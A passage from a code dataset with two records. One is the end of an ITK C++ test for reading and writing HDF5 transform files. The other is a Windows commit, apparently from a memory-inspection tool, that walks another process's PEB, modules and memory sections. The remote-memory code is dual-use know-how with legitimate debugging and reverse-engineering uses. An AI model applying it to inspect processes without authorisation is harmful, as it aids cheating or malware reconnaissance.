field->Allocate();\n\n    typename DisplacementTransformType::OutputVectorType zeroVector;\n    zeroVector.Fill( 0 );\n    field->FillBuffer( zeroVector );\n\n    displacementTransform->SetDisplacementField( field );\n    }\n\n  try\n    {\n    writer->AddTransform( displacementTransform );\n    writer->Update();\n    \/\/std::cout << std::endl;\n    \/\/std::cout << \"Testing read : \" << std::endl;\n    reader->Update();\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"Error while saving the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n  return EXIT_SUCCESS;\n}\n\ntemplate<typename ScalarType>\nstatic int oneTest(const char *const goodname,const char *const badname)\n{\n  typedef typename itk::AffineTransform<ScalarType,4>  AffineTransformType;\n  typedef typename itk::AffineTransform<ScalarType,10> AffineTransformTypeNotRegistered;\n  typename AffineTransformType::Pointer        affine = AffineTransformType::New();\n\n  itk::ObjectFactoryBase::RegisterFactory(itk::HDF5TransformIOFactory::New() );\n\n  \/\/ Set it's parameters\n  typename AffineTransformType::ParametersType p = affine->GetParameters();\n  for ( unsigned int i = 0; i < p.GetSize(); i++ )\n    {\n    p[i] = i;\n    }\n  affine->SetParameters ( p );\n  p = affine->GetFixedParameters ();\n  for ( unsigned int i = 0; i < p.GetSize(); i++ )\n    {\n    p[i] = i;\n    }\n  affine->SetFixedParameters ( p );\n  typename itk::TransformFileWriterTemplate<ScalarType>::Pointer\n    writer = itk::TransformFileWriterTemplate<ScalarType>::New();\n  typename itk::TransformFileReaderTemplate<ScalarType>::Pointer\n    reader = itk::TransformFileReaderTemplate<ScalarType>::New();\n\n  writer->AddTransform(affine);\n\n  writer->SetFileName( goodname );\n  reader->SetFileName( goodname );\n\n  \/\/ Testing writing std::cout << \"Testing write : \";\n  affine->Print ( std::cout );\n  try\n    {\n    writer->Update();\n    std::cout << std::endl;\n    std::cout << \"Testing read : \" << std::endl;\n    reader->Update();\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"Error while saving the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n\n  try\n    {\n    typename itk::TransformFileReaderTemplate<ScalarType>::TransformListType * list = reader->GetTransformList();\n    typename itk::TransformFileReaderTemplate<ScalarType>::TransformListType::iterator lit = list->begin();\n    while ( lit != list->end() )\n      {\n      (*lit)->Print ( std::cout );\n      ++lit;\n      }\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"Error while saving the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n\n  std::cout << \"Creating bad writer\" << std::endl;\n  typename AffineTransformTypeNotRegistered::Pointer Bogus = AffineTransformTypeNotRegistered::New();\n\n  \/\/ Set it's parameters\n  p = Bogus->GetParameters();\n  for ( unsigned int i = 0; i < p.GetSize(); i++ )\n    {\n    p[i] = i;\n    }\n  Bogus->SetParameters ( p );\n  p = Bogus->GetFixedParameters ();\n  for ( unsigned int i = 0; i < p.GetSize(); i++ )\n    {\n    p[i] = i;\n    }\n  Bogus->SetFixedParameters ( p );\n\n  typename itk::TransformFileWriterTemplate<ScalarType>::Pointer\n    badwriter = itk::TransformFileWriterTemplate<ScalarType>::New();\n  typename itk::TransformFileReaderTemplate<ScalarType>::Pointer\n    badreader = itk::TransformFileReaderTemplate<ScalarType>::New();\n  badwriter->AddTransform(Bogus);\n  badwriter->SetFileName(badname);\n  badreader->SetFileName(badname);\n\n  \/\/ Testing writing\n  std::cout << \"Testing write of non register transform : \" << std::endl;\n  std::cout << std::flush;\n  try\n    {\n    badwriter->Update();\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"Error while saving the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  \/\/ Testing writing\n  std::cout << \"Testing read of non register transform : \" << std::endl;\n  std::cout << std::flush;\n  bool caught = false;\n  try\n    {\n    badreader->Update();\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    caught = true;\n    std::cout << \"Caught exception as expected\" << std::endl;\n    std::cout << excp << std::endl;\n    }\n  if ( !caught )\n    {\n    std::cerr << \"Did not catch non registered transform\" << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  int error_sum = 0;\n  error_sum += ReadWriteTest< float, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<double,3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::ConstantVelocityFieldTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::ConstantVelocityFieldTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::ConstantVelocityFieldTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::ConstantVelocityFieldTransform<double,3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::DisplacementFieldTransform<float, 2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::DisplacementFieldTransform<float, 3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::DisplacementFieldTransform<double, 2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::DisplacementFieldTransform<double, 3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<double,3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::GaussianExponentialDiffeomorphicTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::GaussianExponentialDiffeomorphicTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::GaussianExponentialDiffeomorphicTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::GaussianExponentialDiffeomorphicTransform<double,3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::GaussianSmoothingOnUpdateDisplacementFieldTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::GaussianSmoothingOnUpdateDisplacementFieldTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::GaussianSmoothingOnUpdateDisplacementFieldTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::GaussianSmoothingOnUpdateDisplacementFieldTransform<double,3> >(goodname);\n\n  if( error_sum > 0 )\n    {\n    std::cerr << \"Atleast 1 transform type could not be read\/written \" << error_sum << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  std::cout << \"[PASSED]\" << std::endl;\n\n  return EXIT_SUCCESS;\n}\n\nint itkIOTransformHDF5Test(int argc, char* argv[])\n{\n  if (argc > 1)\n    {\n    itksys::SystemTools::ChangeDirectory(argv[1]);\n    }\n  const int result1 =  oneTest<float>(\"Transforms_float.h5\", \"TransformsBad_float.h5\" );\n  const int result2 =  oneTest<double>(\"Transforms_double.hdf5\", \"TransformsBad_double.hdf5\" );\n\n  return ( !( result1 == EXIT_SUCCESS && result2 == EXIT_SUCCESS) );\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <windows.h>\n#include <winternl.h>\n#include <tlhelp32.h>\n#include <vector>\n#include <algorithm>\n\n#include \"NativeCore.hpp\"\n\nstatic DWORD GetRemotePeb(HANDLE process, PPEB* ppeb)\n{\n\tconst auto ntdll = GetModuleHandle(TEXT(\"ntdll\"));\n\tif (!ntdll)\n\t\treturn ERROR_MOD_NOT_FOUND;\n\n\tusing tRtlNtStatusToDosError = ULONG (NTAPI *)(\n\t\t\t_In_ NTSTATUS Status\n\t\t);\n\tconst auto pRtlNtStatusToDosError = tRtlNtStatusToDosError(GetProcAddress(ntdll, \"RtlNtStatusToDosError\"));\n\tif (!pRtlNtStatusToDosError)\n\t\treturn ERROR_NOT_FOUND;\n\n\tusing tNtQueryInformationProcess = NTSTATUS (NTAPI *)(\n\t\t\t_In_ HANDLE ProcessHandle,\n\t\t\t_In_ PROCESSINFOCLASS ProcessInformationClass,\n\t\t\t_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,\n\t\t\t_In_ ULONG ProcessInformationLength,\n\t\t\t_Out_opt_ PULONG ReturnLength\n\t\t);\n\n\tconst auto pNtQueryInformationProcess = tNtQueryInformationProcess(GetProcAddress(ntdll, \"NtQueryInformationProcess\"));\n\tif (!pNtQueryInformationProcess)\n\t\treturn ERROR_NOT_FOUND;\n\n\tPROCESS_BASIC_INFORMATION pbi;\n\tconst auto status = pNtQueryInformationProcess(process, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);\n\tif (!NT_SUCCESS(status))\n\t\treturn pRtlNtStatusToDosError(status);\n\n\t*ppeb = pbi.PebBaseAddress;\n\t\n\treturn ERROR_SUCCESS;\n}\n\ntemplate <typename Proc>\nstatic DWORD EnumerateRemoteModulesNative(HANDLE process, Proc proc)\n{\n\tPPEB ppeb;\n\tconst auto error = GetRemotePeb(process, &ppeb);\n\tif (error != ERROR_SUCCESS)\n\t\treturn error;\n\t\n\tPPEB_LDR_DATA ldr;\n\tauto success = ReadRemoteMemory(process, ppeb->Ldr, &ldr, 0, sizeof(ldr));\n\tif (!success)\n\t\treturn ERROR_READ_FAULT; \/\/ we seem to swallow the error anyways, might aswell give a distinctive one back\n\n\tconst auto list_head = &ldr->InMemoryOrderModuleList; \/\/ remote address\n\tPLIST_ENTRY list_current; \/\/ remote address\n\tsuccess = ReadRemoteMemory(process, &list_head->Flink, &list_current, 0, sizeof(list_current));\n\tif (!success)\n\t\treturn ERROR_READ_FAULT;\n\t\n\twhile (list_current != list_head)\n\t{\n\t\t\/\/ TODO: error handling - what do we do if module list changed? We can't un-call the callback\n\n\t\tLDR_DATA_TABLE_ENTRY mod;\n\t\tsuccess = ReadRemoteMemory(process, CONTAINING_RECORD(list_current, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &mod, 0, sizeof(mod));\n\t\tif (!success)\n\t\t\treturn ERROR_SUCCESS; \/\/ return success here to prevent running the other one\n\n\t\tEnumerateRemoteModuleData data = {};\n\t\tdata.BaseAddress = mod.DllBase;\n\t\tdata.Size = *(ULONG*)&mod.Reserved2[1]; \/\/ instead of undocced member could read ImageSize from headers\n\t\tconst auto path_len = std::min(sizeof(RC_UnicodeChar) * (PATH_MAXIMUM_LENGTH - 1), size_t(mod.FullDllName.Length));\n\t\tsuccess = ReadRemoteMemory(process, mod.FullDllName.Buffer, data.Path, 0, int(path_len));\n\t\tif (!success)\n\t\t\treturn ERROR_SUCCESS; \/\/ return success here to prevent running the other one\n\t\t\n\t\t\/\/ UNICODE_STRING is not guaranteed to be null terminated\n\t\tdata.Path[path_len \/ 2] = 0;\n\t\t\n\t\tproc(&data);\n\t\t\n\t\tlist_current = mod.InMemoryOrderLinks.Flink;\n\t}\n\t\n\treturn ERROR_SUCCESS;\n}\n\ntemplate <typename Proc>\nstatic DWORD EnumerateRemoteModulesWinapi(HANDLE process, Proc proc)\n{\n\tconst auto handle = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetProcessId(process));\n\tif (handle == INVALID_HANDLE_VALUE)\n\t\treturn GetLastError();\n\t\n\tMODULEENTRY32W me32 = {};\n\tme32.dwSize = sizeof(MODULEENTRY32W);\n\tif (Module32FirstW(handle, &me32))\n\t{\n\t\tdo\n\t\t{\n\t\t\tEnumerateRemoteModuleData data = {};\n\t\t\tdata.BaseAddress = me32.modBaseAddr;\n\t\t\tdata.Size = me32.modBaseSize;\n\t\t\tstd::memcpy(data.Path, me32.szExePath, std::min(MAX_PATH, PATH_MAXIMUM_LENGTH));\n\n\t\t\tproc(&data);\n\t\t} while (Module32NextW(handle, &me32));\n\t}\n\n\tCloseHandle(handle);\n\n\treturn ERROR_SUCCESS;\n}\n\nvoid RC_CallConv EnumerateRemoteSectionsAndModules(RC_Pointer process, EnumerateRemoteSectionsCallback callbackSection, EnumerateRemoteModulesCallback callbackModule)\n{\n\tif (callbackSection == nullptr && callbackModule == nullptr)\n\t{\n\t\treturn;\n\t}\n\n\tstd::vector<EnumerateRemoteSectionData> sections;\n\n\tMEMORY_BASIC_INFORMATION memInfo = { };\n\tmemInfo.RegionSize = 0x1000;\n\tsize_t address = 0;\n\twhile (VirtualQueryEx(process, reinterpret_cast<LPCVOID>(address), &memInfo, sizeof(MEMORY_BASIC_INFORMATION)) != 0 && address + memInfo.RegionSize > address)\n\t{\n\t\tif (memInfo.State == MEM_COMMIT)\n\t\t{\n\t\t\tEnumerateRemoteSectionData section = {};\n\t\t\tsection.BaseAddress = memInfo.BaseAddress;\n\t\t\tsection.Size = memInfo.RegionSize;\n\t\t\t\n\t\t\tsection.Protection = SectionProtection::NoAccess;\n\t\t\tif ((memInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) section.Protection |= SectionProtection::Execute;\n\t\t\tif ((memInfo.Protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ) section.Protection |= SectionProtection::Execute | SectionProtection::Read;\n\t\t\tif ((memInfo.Protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE) section.Protection |= SectionProtection::Execute | SectionProtection::Read | SectionProtection::Write;\n\t\t\tif ((memInfo.Protect & PAGE_EXECUTE_WRITECOPY) == PAGE_EXECUTE_WRITECOPY) section.Protection |= SectionProtection::Execute | SectionProtection::Read | SectionProtection::CopyOnWrite;\n\t\t\tif ((memInfo.Protect & PAGE_READONLY) == PAGE_READONLY) section.Protection |= SectionProtection::Read;\n\t\t\tif ((memInfo.Protect & PAGE_READWRITE) == PAGE_READWRITE) section.Protection |= SectionProtection::Read | SectionProtection::Write;\n\t\t\tif ((memInfo.Protect & PAGE_WRITECOPY) == PAGE_WRITECOPY) section.Protection |= SectionProtection::Read | SectionProtection::CopyOnWrite;\n\t\t\tif ((memInfo.Protect & PAGE_GUARD) == PAGE_GUARD) section.Protection |= SectionProtection::Guard;\n\t\t\t\n\t\t\tswitch (memInfo.Type)\n\t\t\t{\n\t\t\tcase MEM_IMAGE:\n\t\t\t\tsection.Type = SectionType::Image;\n\t\t\t\tbreak;\n\t\t\tcase MEM_MAPPED:\n\t\t\t\tsection.Type = SectionType::Mapped;\n\t\t\t\tbreak;\n\t\t\tcase MEM_PRIVATE:\n\t\t\t\tsection.Type = SectionType::Private;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tsection.Category = section.Type == SectionType::Private ? SectionCategory::HEAP : SectionCategory::Unknown;\n\n\t\t\tsections.push_back(std::move(section));\n\t\t}\n\t\taddress = reinterpret_cast<size_t>(memInfo.BaseAddress) + memInfo.RegionSize;\n\t}\n\n\tconst auto moduleEnumerator = [&](EnumerateRemoteModuleData* data)\n\t{\n\t\tif (callbackModule != nullptr)\n\t\t\tcallbackModule(data);\n\n\t\tif (callbackSection != nullptr)\n\t\t{\n\t\t\tauto it = std::lower_bound(std::begin(sections), std::end(sections), static_cast<LPVOID>(data->BaseAddress), [&sections](const auto& lhs, const LPVOID& rhs)\n\t\t\t\t{\n\t\t\t\t\treturn lhs.BaseAddress < rhs;\n\t\t\t\t});\n\n\t\t\tIMAGE_DOS_HEADER DosHdr = {};\n\t\t\tIMAGE_NT_HEADERS NtHdr = {};\n\n\t\t\tReadRemoteMemory(process, data->BaseAddress, &DosHdr, 0, sizeof(IMAGE_DOS_HEADER));\n\t\t\tReadRemoteMemory(process, PUCHAR(data->BaseAddress) + DosHdr.e_lfanew, &NtHdr, 0, sizeof(IMAGE_NT_HEADERS));\n\n\t\t\tstd::vector<IMAGE_SECTION_HEADER> sectionHeaders(NtHdr.FileHeader.NumberOfSections);\n\t\t\tReadRemoteMemory(process, PUCHAR(data->BaseAddress) + DosHdr.e_lfanew + sizeof(IMAGE_NT_HEADERS), sectionHeaders.data(), 0, NtHdr.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER));\n\t\t\tfor (auto i = 0; i < NtHdr.FileHeader.NumberOfSections; ++i)\n\t\t\t{\n\t\t\t\tauto&& sectionHeader = sectionHeaders[i];\n\n\t\t\t\tconst auto sectionAddress = reinterpret_cast<size_t>(data->BaseAddress) + sectionHeader.VirtualAddress;\n\t\t\t\tfor (auto j = it; j != std::end(sections); ++j)\n\t\t\t\t{\n\t\t\t\t\tif (sectionAddress >= reinterpret_cast<size_t>(j->BaseAddress) && sectionAddress < reinterpret_cast<size_t>(j->BaseAddress) + static_cast<size_t>(j->Size))\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Copy the name because it is not null padded.\n\t\t\t\t\t\tchar buffer[IMAGE_SIZEOF_SHORT_NAME + 1] = { 0 };\n\t\t\t\t\t\tstd::memcpy(buffer, sectionHeader.Name, IMAGE_SIZEOF_SHORT_NAME);\n\n\t\t\t\t\t\tif (std::strcmp(buffer, \".text\") == 0 || std::strcmp(buffer, \"code\") == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tj->Category = SectionCategory::CODE;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (std::strcmp(buffer, \".data\") == 0 || std::strcmp(buffer, \"data\") == 0 || std::strcmp(buffer, \".rdata\") == 0 || std::strcmp(buffer, \".idata\") == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tj->Category = SectionCategory::DATA;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tMultiByteToUnicode(buffer, j->Name, IMAGE_SIZEOF_SHORT_NAME);\n\t\t\t\t\t\tstd::memcpy(j->ModulePath, data->Path, std::min(MAX_PATH, PATH_MAXIMUM_LENGTH));\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t};\n\t\n\tif(EnumerateRemoteModulesNative(process, moduleEnumerator) != ERROR_SUCCESS)\n\t\tEnumerateRemoteModulesWinapi(process, moduleEnumerator);\n\n\tif (callbackSection != nullptr)\n\t{\n\t\tfor (auto&& section : sections)\n\t\t{\n\t\t\tcallbackSection(&section);\n\t\t}\n\t}\n}\n<commit_msg>fix broken code - how did this work<commit_after>#include <windows.h>\n#include <winternl.h>\n#include <tlhelp32.h>\n#include <vector>\n#include <algorithm>\n\n#include \"NativeCore.hpp\"\n\nstatic DWORD GetRemotePeb(HANDLE process, PPEB* ppeb)\n{\n\tconst auto ntdll = GetModuleHandle(TEXT(\"ntdll\"));\n\tif (!ntdll)\n\t\treturn ERROR_MOD_NOT_FOUND;\n\n\tusing tRtlNtStatusToDosError = ULONG (NTAPI *)(\n\t\t\t_In_ NTSTATUS Status\n\t\t);\n\tconst auto pRtlNtStatusToDosError = tRtlNtStatusToDosError(GetProcAddress(ntdll, \"RtlNtStatusToDosError\"));\n\tif (!pRtlNtStatusToDosError)\n\t\treturn ERROR_NOT_FOUND;\n\n\tusing tNtQueryInformationProcess = NTSTATUS (NTAPI *)(\n\t\t\t_In_ HANDLE ProcessHandle,\n\t\t\t_In_ PROCESSINFOCLASS ProcessInformationClass,\n\t\t\t_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,\n\t\t\t_In_ ULONG ProcessInformationLength,\n\t\t\t_Out_opt_ PULONG ReturnLength\n\t\t);\n\n\tconst auto pNtQueryInformationProcess = tNtQueryInformationProcess(GetProcAddress(ntdll, \"NtQueryInformationProcess\"));\n\tif (!pNtQueryInformationProcess)\n\t\treturn ERROR_NOT_FOUND;\n\n\tPROCESS_BASIC_INFORMATION pbi;\n\tconst auto status = pNtQueryInformationProcess(process, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);\n\tif (!NT_SUCCESS(status))\n\t\treturn pRtlNtStatusToDosError(status);\n\n\t*ppeb = pbi.PebBaseAddress;\n\t\n\treturn ERROR_SUCCESS;\n}\n\ntemplate <typename Proc>\nstatic DWORD EnumerateRemoteModulesNative(HANDLE process, Proc proc)\n{\n\tPPEB ppeb;\n\tconst auto error = GetRemotePeb(process, &ppeb);\n\tif (error != ERROR_SUCCESS)\n\t\treturn error;\n\t\n\tPPEB_LDR_DATA ldr;\n\tauto success = ReadRemoteMemory(process, &ppeb->Ldr, &ldr, 0, sizeof(ldr));\n\tif (!success)\n\t\treturn ERROR_READ_FAULT; \/\/ we seem to swallow the error anyways, might aswell give a distinctive one back\n\n\tconst auto list_head = &ldr->InMemoryOrderModuleList; \/\/ remote address\n\tPLIST_ENTRY list_current; \/\/ remote address\n\tsuccess = ReadRemoteMemory(process, &list_head->Flink, &list_current, 0, sizeof(list_current));\n\tif (!success)\n\t\treturn ERROR_READ_FAULT;\n\t\n\twhile (list_current != list_head)\n\t{\n\t\t\/\/ TODO: error handling - what do we do if module list changed? We can't un-call the callback\n\n\t\tLDR_DATA_TABLE_ENTRY mod;\n\t\tsuccess = ReadRemoteMemory(process, CONTAINING_RECORD(list_current, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &mod, 0, sizeof(mod));\n\t\tif (!success)\n\t\t\treturn ERROR_SUCCESS; \/\/ return success here to prevent running the other one\n\n\t\tEnumerateRemoteModuleData data = {};\n\t\tdata.BaseAddress = mod.DllBase;\n\t\tdata.Size = *(ULONG*)&mod.Reserved2[1]; \/\/ instead of undocced member could read ImageSize from headers\n\t\tconst auto path_len = std::min(sizeof(RC_UnicodeChar) * (PATH_MAXIMUM_LENGTH - 1), size_t(mod.FullDllName.Length));\n\t\tsuccess = ReadRemoteMemory(process, mod.FullDllName.Buffer, data.Path, 0, int(path_len));\n\t\tif (!success)\n\t\t\treturn ERROR_SUCCESS; \/\/ return success here to prevent running the other one\n\t\t\n\t\t\/\/ UNICODE_STRING is not guaranteed to be null terminated\n\t\tdata.Path[path_len \/ 2] = 0;\n\t\t\n\t\tproc(&data);\n\t\t\n\t\tlist_current = mod.InMemoryOrderLinks.Flink;\n\t}\n\t\n\treturn ERROR_SUCCESS;\n}\n\ntemplate <typename Proc>\nstatic DWORD EnumerateRemoteModulesWinapi(HANDLE process, Proc proc)\n{\n\tconst auto handle = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetProcessId(process));\n\tif (handle == INVALID_HANDLE_VALUE)\n\t\treturn GetLastError();\n\t\n\tMODULEENTRY32W me32 = {};\n\tme32.dwSize = sizeof(MODULEENTRY32W);\n\tif (Module32FirstW(handle, &me32))\n\t{\n\t\tdo\n\t\t{\n\t\t\tEnumerateRemoteModuleData data = {};\n\t\t\tdata.BaseAddress = me32.modBaseAddr;\n\t\t\tdata.Size = me32.modBaseSize;\n\t\t\tstd::memcpy(data.Path, me32.szExePath, std::min(MAX_PATH, PATH_MAXIMUM_LENGTH));\n\n\t\t\tproc(&data);\n\t\t} while (Module32NextW(handle, &me32));\n\t}\n\n\tCloseHandle(handle);\n\n\treturn ERROR_SUCCESS;\n}\n\nvoid RC_CallConv EnumerateRemoteSectionsAndModules(RC_Pointer process, EnumerateRemoteSectionsCallback callbackSection, EnumerateRemoteModulesCallback callbackModule)\n{\n\tif (callbackSection == nullptr && callbackModule == nullptr)\n\t{\n\t\treturn;\n\t}\n\n\tstd::vector<EnumerateRemoteSectionData> sections;\n\n\tMEMORY_BASIC_INFORMATION memInfo = { };\n\tmemInfo.RegionSize = 0x1000;\n\tsize_t address = 0;\n\twhile (VirtualQueryEx(process, reinterpret_cast<LPCVOID>(address), &memInfo, sizeof(MEMORY_BASIC_INFORMATION)) != 0 && address + memInfo.RegionSize > address)\n\t{\n\t\tif (memInfo.State == MEM_COMMIT)\n\t\t{\n\t\t\tEnumerateRemoteSectionData section = {};\n\t\t\tsection.BaseAddress = memInfo.BaseAddress;\n\t\t\tsection.Size = memInfo.RegionSize;\n\t\t\t\n\t\t\tsection.Protection = SectionProtection::NoAccess;\n\t\t\tif ((memInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) section.Protection |= SectionProtection::Execute;\n\t\t\tif ((memInfo.Protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ) section.Protection |= SectionProtection::Execute | SectionProtection::Read;\n\t\t\tif ((memInfo.Protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE) section.Protection |= SectionProtection::Execute | SectionProtection::Read | SectionProtection::Write;\n\t\t\tif ((memInfo.Protect & PAGE_EXECUTE_WRITECOPY) == PAGE_EXECUTE_WRITECOPY) section.Protection |= SectionProtection::Execute | SectionProtection::Read | SectionProtection::CopyOnWrite;\n\t\t\tif ((memInfo.Protect & PAGE_READONLY) == PAGE_READONLY) section.Protection |= SectionProtection::Read;\n\t\t\tif ((memInfo.Protect & PAGE_READWRITE) == PAGE_READWRITE) section.Protection |= SectionProtection::Read | SectionProtection::Write;\n\t\t\tif ((memInfo.Protect & PAGE_WRITECOPY) == PAGE_WRITECOPY) section.Protection |= SectionProtection::Read | SectionProtection::CopyOnWrite;\n\t\t\tif ((memInfo.Protect & PAGE_GUARD) == PAGE_GUARD) section.Protection |= SectionProtection::Guard;\n\t\t\t\n\t\t\tswitch (memInfo.Type)\n\t\t\t{\n\t\t\tcase MEM_IMAGE:\n\t\t\t\tsection.Type = SectionType::Image;\n\t\t\t\tbreak;\n\t\t\tcase MEM_MAPPED:\n\t\t\t\tsection.Type = SectionType::Mapped;\n\t\t\t\tbreak;\n\t\t\tcase MEM_PRIVATE:\n\t\t\t\tsection.Type = SectionType::Private;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tsection.Category = section.Type == SectionType::Private ? SectionCategory::HEAP : SectionCategory::Unknown;\n\n\t\t\tsections.push_back(std::move(section));\n\t\t}\n\t\taddress = reinterpret_cast<size_t>(memInfo.BaseAddress) + memInfo.RegionSize;\n\t}\n\n\tconst auto moduleEnumerator = [&](EnumerateRemoteModuleData* data)\n\t{\n\t\tif (callbackModule != nullptr)\n\t\t\tcallbackModule(data);\n\n\t\tif (callbackSection != nullptr)\n\t\t{\n\t\t\tauto it = std::lower_bound(std::begin(sections), std::end(sections), static_cast<LPVOID>(data->BaseAddress), [&sections](const auto& lhs, const LPVOID& rhs)\n\t\t\t\t{\n\t\t\t\t\treturn lhs.BaseAddress < rhs;\n\t\t\t\t});\n\n\t\t\tIMAGE_DOS_HEADER DosHdr = {};\n\t\t\tIMAGE_NT_HEADERS NtHdr = {};\n\n\t\t\tReadRemoteMemory(process, data->BaseAddress, &DosHdr, 0, sizeof(IMAGE_DOS_HEADER));\n\t\t\tReadRemoteMemory(process, PUCHAR(data->BaseAddress) + DosHdr.e_lfanew, &NtHdr, 0, sizeof(IMAGE_NT_HEADERS));\n\n\t\t\tstd::vector<IMAGE_SECTION_HEADER> sectionHeaders(NtHdr.FileHeader.NumberOfSections);\n\t\t\tReadRemoteMemory(process, PUCHAR(data->BaseAddress) + DosHdr.e_lfanew + sizeof(IMAGE_NT_HEADERS), sectionHeaders.data(), 0, NtHdr.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER));\n\t\t\tfor (auto i = 0; i < NtHdr.FileHeader.NumberOfSections; ++i)\n\t\t\t{\n\t\t\t\tauto&& sectionHeader = sectionHeaders[i];\n\n\t\t\t\tconst auto sectionAddress = reinterpret_cast<size_t>(data->BaseAddress) + sectionHeader.VirtualAddress;\n\t\t\t\tfor (auto j = it; j != std::end(sections); ++j)\n\t\t\t\t{\n\t\t\t\t\tif (sectionAddress >= reinterpret_cast<size_t>(j->BaseAddress) && sectionAddress < reinterpret_cast<size_t>(j->BaseAddress) + static_cast<size_t>(j->Size))\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Copy the name because it is not null padded.\n\t\t\t\t\t\tchar buffer[IMAGE_SIZEOF_SHORT_NAME + 1] = { 0 };\n\t\t\t\t\t\tstd::memcpy(buffer, sectionHeader.Name, IMAGE_SIZEOF_SHORT_NAME);\n\n\t\t\t\t\t\tif (std::strcmp(buffer, \".text\") == 0 || std::strcmp(buffer, \"code\") == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tj->Category = SectionCategory::CODE;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (std::strcmp(buffer, \".data\") == 0 || std::strcmp(buffer, \"data\") == 0 || std::strcmp(buffer, \".rdata\") == 0 || std::strcmp(buffer, \".idata\") == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tj->Category = SectionCategory::DATA;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tMultiByteToUnicode(buffer, j->Name, IMAGE_SIZEOF_SHORT_NAME);\n\t\t\t\t\t\tstd::memcpy(j->ModulePath, data->Path, std::min(MAX_PATH, PATH_MAXIMUM_LENGTH));\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t};\n\t\n\tif(EnumerateRemoteModulesNative(process, moduleEnumerator) != ERROR_SUCCESS)\n\t\tEnumerateRemoteModulesWinapi(process, moduleEnumerator);\n\n\tif (callbackSection != nullptr)\n\t{\n\t\tfor (auto&& section : sections)\n\t\t{\n\t\t\tcallbackSection(&section);\n\t\t}\n\t}\n}\n<|endoftext|>"}
